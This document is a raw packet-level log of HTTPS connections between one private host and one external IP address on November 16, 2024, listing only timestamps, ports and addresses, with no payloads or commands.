Nov 16, 2024 04:34:00.723424911 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.737580061 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.737936020 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.738007069 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.738116980 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.738131046 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.740952015 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.741395950 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.741419077 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.741453886 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.741466045 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.821311951 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.821805000 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.821888924 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.822053909 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.822067976 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.853648901 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.853856087 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.853943110 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.854007959 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.854007959 CET	49870	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.854047060 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.854069948 CET	443	49870	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.856591940 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.856679916 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.856770992 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.856916904 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.856951952 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.866925955 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.867034912 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.867227077 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.867227077 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.867227077 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.868978024 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.869065046 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.869149923 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.869251966 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.869282961 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.877405882 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.877695084 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.877751112 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.877788067 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.877788067 CET	49868	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.877804041 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.877823114 CET	443	49868	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.879534006 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.879555941 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.879642010 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.879753113 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.879784107 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.895025015 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.895185947 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.895365000 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.895365000 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.895365953 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.896800041 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.896859884 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.896939993 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.897052050 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.897085905 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.950931072 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.951083899 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.951280117 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.951394081 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.951395035 CET	49872	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.951436996 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.951468945 CET	443	49872	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.953345060 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.953388929 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:00.953473091 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.953593969 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:00.953608990 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.172364950 CET	49871	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.172427893 CET	443	49871	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.201495886 CET	49869	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.201558113 CET	443	49869	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.648211956 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.648298025 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.648888111 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.648888111 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.648922920 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.648946047 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.649318933 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.649323940 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.649363995 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.649369001 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.649660110 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.649934053 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.649962902 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.650276899 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.650285006 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.667418003 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.668128967 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.668186903 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.668517113 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.668530941 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.687125921 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.687552929 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.687614918 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.687906027 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.687915087 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.780354023 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.780653000 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.780793905 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.780811071 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.780864954 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.781090975 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.781140089 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.781169891 CET	49874	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.781186104 CET	443	49874	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.781200886 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.781218052 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.781246901 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.781316996 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.783225060 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.783225060 CET	49875	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.783267975 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.783293962 CET	443	49875	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.785034895 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.785053015 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.785078049 CET	49873	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.785090923 CET	443	49873	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.791080952 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.791148901 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.791224957 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.791805983 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.791862011 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.791914940 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.792442083 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.792476892 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.792537928 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.792732000 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.792767048 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.792824984 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.792853117 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.792992115 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.793005943 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818180084 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818203926 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818341970 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818377018 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818414927 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818432093 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818536997 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818572044 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818598986 CET	49876	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818600893 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818614006 CET	443	49876	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818624973 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.818646908 CET	49877	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.818655014 CET	443	49877	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.822678089 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.822766066 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.822844982 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.823209047 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.823246956 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.823834896 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.823864937 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:01.823925972 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.824039936 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:01.824053049 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.537389994 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.537868977 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.537914991 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.538255930 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.538264036 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.543584108 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.543817043 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.543817997 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.543852091 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.544053078 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.544104099 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.544110060 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.544131041 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.544574976 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.544589996 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.554004908 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.554373026 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.554384947 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.554721117 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.554724932 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.558520079 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.558844090 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.558922052 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.559187889 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.559204102 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.667937040 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.668129921 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.668206930 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.668262005 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.668262005 CET	49878	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.668284893 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.668297052 CET	443	49878	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.670732975 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.670804977 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.670885086 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.671025038 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.671056986 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.672928095 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673079014 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673130035 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673182011 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673182011 CET	49880	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673201084 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673211098 CET	443	49880	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673453093 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673661947 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673728943 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673788071 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673789024 CET	49879	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.673827887 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.673851967 CET	443	49879	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.675436974 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675522089 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.675618887 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675664902 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675688028 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.675738096 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675849915 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675868034 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.675879002 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.675885916 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.683425903 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.683742046 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.683798075 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.683815956 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.683826923 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.683837891 CET	49882	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.683842897 CET	443	49882	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.685426950 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.685450077 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.685525894 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.685640097 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.685666084 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.688247919 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.688395023 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.688465118 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.688514948 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.688514948 CET	49881	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.688540936 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.688568115 CET	443	49881	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.690098047 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.690121889 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:02.690181971 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.690273046 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:02.690282106 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.414969921 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.415433884 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.415512085 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.415834904 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.415848970 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.421843052 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.422183037 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.422291040 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.422499895 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.422518969 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.423407078 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.423672915 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.423693895 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.424031019 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.424036980 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.429337025 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.429570913 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.429644108 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.429876089 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.429892063 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.448935032 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.449259043 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.449279070 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.449640989 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.449645042 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.542752981 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.542870998 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.542948008 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.543029070 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.543029070 CET	49883	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.543071985 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.543098927 CET	443	49883	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.546710968 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.546808004 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.546904087 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.547030926 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.547065020 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.551608086 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.551754951 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.551827908 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.551912069 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.551912069 CET	49884	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.551959038 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.551985979 CET	443	49884	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.552890062 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.552978039 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.553036928 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.553076029 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.553076029 CET	49887	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.553091049 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.553101063 CET	443	49887	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.554020882 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554109097 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.554199934 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554318905 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554353952 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.554444075 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554466009 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.554536104 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554605961 CET	49890	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.554620028 CET	443	49890	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.559755087 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.559921980 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.560003996 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.560003996 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.560003996 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.561995983 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.562019110 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.562093973 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.562187910 CET	49891	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.562212944 CET	443	49891	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.582381010 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.582530975 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.582581997 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.582609892 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.582621098 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.582629919 CET	49885	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.582634926 CET	443	49885	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.584197998 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.584224939 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.584290981 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.584379911 CET	49892	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.584393978 CET	443	49892	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:03.873846054 CET	49886	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:03.873903990 CET	443	49886	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.274540901 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.275115967 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.275177956 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.275863886 CET	49889	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.275877953 CET	443	49889	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.293505907 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.293961048 CET	49888	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:04.294002056 CET	443	49888	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:04.294601917 CET	49888	443	192.168.2.4	13.107.246.45
